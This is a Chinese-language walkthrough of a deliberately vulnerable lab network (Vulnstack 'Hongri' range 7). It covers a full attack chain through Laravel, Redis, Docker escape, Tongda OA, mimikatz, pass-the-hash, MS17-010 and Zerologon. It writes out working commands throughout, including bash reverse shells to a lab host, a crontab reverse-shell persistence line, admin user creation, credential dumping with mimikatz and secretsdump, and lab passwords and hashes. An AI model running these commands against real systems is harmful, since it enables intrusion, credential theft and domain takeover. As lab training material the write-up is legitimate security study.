红日靶场七WP

文摘   科技   2023-04-14 18:24   上海  

写在前面

    红日靶场七涉及知识点:redis未授权访问、docker容器逃逸、MS17010、代理链、laravel漏洞、zerologon等。





靶场下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/


拓扑

WP

通过58.1.3跳板机对入口点机器进行扫描

CVE-2021-3129 Laravel漏洞利用脚本利用尝试,使用laravel-exp.py工具,注意利用此工具写的webshell需要哥斯拉3.0以下版本。权限较低

python laravel-exp.py http://192.168.55.1.4:81

连上去以后发现很多指令不能执行,发现为docker环境。尝试反弹shell到本机,失败。

先整redis,可以连接

写入公钥(如果无法写入成功,可能是因为redis没有使用root用户启动,需要重新配置靶场)

python RedisGetshell.py -H 10.55.1.4

写入后用私钥连接

上传fsan扫描,52.20也有一个laravel,可能是nginx代理

查看52.10配置文件,应该是nginx代理出来的,我们52.10是在nginx上。

正向代理把52.10的流量代理出来。在52.10机器上上传frps和frpc

frpc.ini

[common]server_addr = 127.0.0.1server_port = 7000
# enable logslog_file = ./frpc.logtrace, debug, info, warn, errorlog_level = infolog_max_days = 3
[proxy]type = tcpremote_port = 6000plugin = http_proxyplugin_http_user = abcplugin_http_passwd = abc
[socks5_proxy]type = tcpremote_port = 6005plugin = socks5plugin_user = abcplugin_passwd = abc

frps.ini

[common]bind_port = 7000

proxifier连接,代理出来后可以访问52.20的8000端口

连接52.20的laraval马子,没法交互,反弹shell到52.10

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8088 <&1'

Docker环境尝试容器逃逸,但是前提需要root权限才能访问所有文件。尝试CVE-2021-4034提权,上传文件到52.10,python开启共享。52.20下载。无法利用

尝试sudo提权

尝试suid提权

find / -user root -perm -4000 -print 2>/dev/null

发现shell文件有sudo权限,shell文件其实就是执行了ps指令,尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

### 方法一cd /tmp #因为tmp权限为777echo "/bin/bash" > pschmod 777 psecho $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序cd /home/jobs./shell
### 方法二:将/bin/bash的目录全都复制到/tmp/ps

至此获取了20中一个docker环境的root权限,再尝试把52.20 root的命令行返回到52.10获得交互式命令行

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8087 <&1'

直接利用当前指令反弹到52.10,没有接受到

需要关闭掉8088这个反弹shell,8087才会接收到

root权限下尝试docker逃逸

mkdir testfdisk -lmount /dev/sda1 testcd test

写入任务计划,都写进去了,但是没接收到反弹shell

echo 'bash -c "bash -i >& /dev/tcp/192.168.52.10/8086 0>&1"' >test.shecho '*/1 * * * * root  /test.sh' >> /home/jobs/test/etc/crontabecho '*/1 * * * * root  /test.sh' >> /home/jobs/test/var/spool/cron/root

尝试写入公钥,52.20没有/root/.ssh文件,发现home下存在用户ubuntu

尝试将公钥写入ubuntu用户

echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIyWnF46J385jnabqHmgx0/DbRD0Kixpc9tqo9e4bCJEeVzxGNrHnS3vhsQAFYFGZ43UGg2NE6iAgHlohvgBs8UGiuphJKcso6oaX1quifl8b4igO3M6sBSnlgOMZtjD/tdGCZ7TTMnSy1GqLB6BPZ40I5moh23cMtwM3zCXbKH5K7Xd2uHgTqH1VIExchUMAmQgGvqVP7Cdo3AXqHrnQv/gpt8zL+XX0VHCyahtfCCY3mAaETA1lwmiqWlSmv5z9D7c7N2xbvVhnOdnyqUKGSWjpS1w3qEP25pi3T61wjEhqyayv89Cex48bgjjgzej4XRXAAX5IyqE9Hlissvvk4CJgjDWuf/zfA9r+LV9JAISMbnUV706Rucp+GeUBzDbjMUGZ6AFiQyeWMi2YVAym64M7aI2GCYlEQihH/Coh3ilgF1G1jOZLJPGTexLvgWZwQN5GabCFaP3CbX8IlqANuSQNmoLyo/ATwNam3rryMJDgFOYb5JE8= root@iZuf6ff6pfeZ>> authorized_keys

然后就可以用id_rsa连接了。至此完成了52.10可以通过id_rsa登录52.20

继续尝试将ubuntu用户提权,再用一下上面的CVE-2021-4034,52.10上开启python共享

52.20利用curl下载,利用

curl -O http://192.168.52.10:8000/CVE-2021-4034.zipunzip CVE-2021-4034.zipcd /CVE-2021-4034make./cve-2021-4034

信息收集,发现新ip段

上传工具扫描,出现93.30(DC)和93.40(PC2)终于到第三层了。

同理在52.20上传代理工具,开启主动代理,本机(21.12)使用代理链连接。

测试代理,可以在跳板机访问到52.30

扫描通达OA漏洞,发现有很多漏洞

尝试利用第一个漏洞,漏洞利用成功

使用蚁剑连接,连接key为x

添加用户

net user nino 1qaz@WSX /addnet localgroup administrators nino /add

尝试RDP连接,需要开启多用户登录

上传mimikatz

mimikatz_64.exe ""privilege::debug"" ""sekurlsa::logonPasswords"" exit >> log.txtmimikatz_64.exe ""privilege::Debug"" ""ts::multirdp""

WHOAMIANONY\Administrator  Whoami2021   //域管理员WHOAMIANONY\bunny  Bunny2021

开启多用户后可rdp登录

使用wmiexec成功pth到93.30 DC。52.30上直接有域管的明文,有点戛然而止的感觉,再尝试一下别的攻击方式

wmiexec.exe -hashes :ab89b1295e69d353dd7614c7a3a80cec WHOAMIANONY/Administrator@192.168.93.30

Sam-the-admin域内提权CVE-2021-42278 and CVE-2021-42287,失败,,应该是打包的问题。

sam_the_admin.exe "whoamianony/bunny:Bunny2021" -dc-ip 192.168.93.30 -shell
noPac.exe scan -domain whoamianony.org -user bunny -pass 'Bunny2021'

MS17010

use auxiliary/admin/smb/ms17_010_commandset COMMAND net userset RHOST 192.168.93.30exploit

利用成功,后续利用新建管理员账户

93.40不能利用

zerologon,存在漏洞。因为环境问题,把python文件都打包成exe了。

python3 zerologon_tester.py <dc-hostname> <dc-ip>zerologon_tester.exe DC 192.168.93.30

###制空set_empty_pw.exe DC 192.168.93.30

###dump hashessecretsdump.exe whoamianony.org/DC$@192.168.93.30 -no-pass

到这里漏洞利用步骤已经完成,但DC$无hash会导致机器脱域,接下来需要PTH连接上DC,dump本地hash来获取DC$hash。进而还原哈希

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec administrator@192.168.93.30### 连接默认在C盘下,直接reg导出会进入交互界面卡死。解决方法①进入一个可写的目录,比如desktop ②在reg导出语句结尾加/y 如reg save HKLM\SYSTEM system.save /y  表示强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住  reg save HKLM\SYSTEM system.save /y  reg save HKLM\SAM sam.save /y  reg save HKLM\SECURITY security.save /y### 下载文件到本地,如果直接使用get无法识别改指令,使用lget  lget system.save  lget sam.save  lget security.save### 清理痕迹  del /f *.save


### 获取DC$哈希secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

#重置reinstall_original_pw.exe DC 192.168.93.30 81609d698de5bc4bdec8729afaf0a807#验证secretsdump.exe whoamianony.org/DC$@192.168.93.30 -just-dc -no-passsecretsdump.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec administrator@192.168.93.30


写在最后

    本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

云下信安
再溯源就不礼貌了